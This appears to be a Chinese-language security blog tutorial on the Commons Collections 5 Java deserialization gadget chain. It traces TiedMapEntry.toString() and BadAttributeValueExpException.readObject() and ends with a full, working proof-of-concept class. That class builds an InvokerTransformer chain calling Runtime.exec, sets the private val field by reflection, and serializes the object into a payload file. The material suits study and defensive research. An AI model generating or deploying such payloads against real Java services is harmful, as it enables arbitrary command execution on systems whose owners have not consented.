先贴张其他师傅的图
其实 CC5就是CC1的一种变形,前半段改修一下,后面接上就是CC5了。CC1是通过AnnotationInvocationHandler.invoke()
获取get()
,而CC5则是通过TiedMapEntry.toString()
,其余部分都是一样的
看看TiedMapEntry
如何调用的 get 方法
- public String toString() {
- return getKey() + "=" + getValue();
- }
getValue 中调用了 get()
- public Object getValue() {
- return map.get(key);
- }
这里可以用构造器修改map的值,就可以接上后面的部分
- public TiedMapEntry(Map map, Object key) {
- super();
- this.map = map;
- this.key = key;
- }
再来看看哪里调用的toString()
全局搜索,在在BadAttributeValueExpException
类中的readObject()
中发现调用
- private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
- ObjectInputStream.GetField gf = ois.readFields();
- Object valObj = gf.get("val", null);
-
- if (valObj == null) {
- val = null;
- } else if (valObj instanceof String) {
- val= valObj;
- } else if (System.getSecurityManager() == null
- || valObj instanceof Long
- || valObj instanceof Integer
- || valObj instanceof Float
- || valObj instanceof Double
- || valObj instanceof Byte
- || valObj instanceof Short
- || valObj instanceof Boolean) {
- val = valObj.toString();
- } else { // the serialized object is from a version without JDK-8019292 fix
- val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
- }
- }
val = valObj.toString();
调用的是valObj .toString(), 所以我们要构造valObj为 TiedMapEntry类,看一下valObj的定义:
- ObjectInputStream.GetField gf = ois.readFields();
- Object valObj = gf.get("val", null);
先调用readFields
从流中读取了所有的持久化字段,然后调用get()
方法得到了名字是val
的字段。
所以可以通过修改val
的值,来修改valobj
,而val
是本类中的一个私有属性,直接反射修改即可
private Object val;
链子就清晰了,构造
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
这里实例化这个对象,需要传值 NUll,因为在他的构造方法中 有个
- public BadAttributeValueExpException (Object val) {
- this.val = val == null ? null : val.toString();
- }
如果传值为null ,则赋值null给var,如果val有值,则会直接调用toString,提前出发我们反序列化。
接着通过反射 修改val的值为 TiedMapEntry 类就可以了
最终poc
- package CommonsCollections5;
-
- import javax.management.BadAttributeValueExpException;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.LazyMap;
-
- import java.io.*;
- import java.lang.reflect.*;
- import java.util.HashMap;
- import java.util.Map;
-
- public class cc5 {
- public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, IOException, NoSuchFieldException {
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
- Map innerMap = new HashMap();
-
- Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
-
- BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
- TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"snowyf");
- Class
badAttributeValueExpExceptionClass = BadAttributeValueExpException.class; - Field val = badAttributeValueExpExceptionClass.getDeclaredField("val");
- val.setAccessible(true);
- val.set(badAttributeValueExpException,tiedMapEntry);
-
- serialize(badAttributeValueExpException);
- unserialize("1.txt");
-
- }
-
-
- public static void serialize(Object obj) throws IOException {
- ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
- out.writeObject(obj);
- }
-
-
- public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
- ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
- Object o = In.readObject();
- return o;
- }
- }
-
-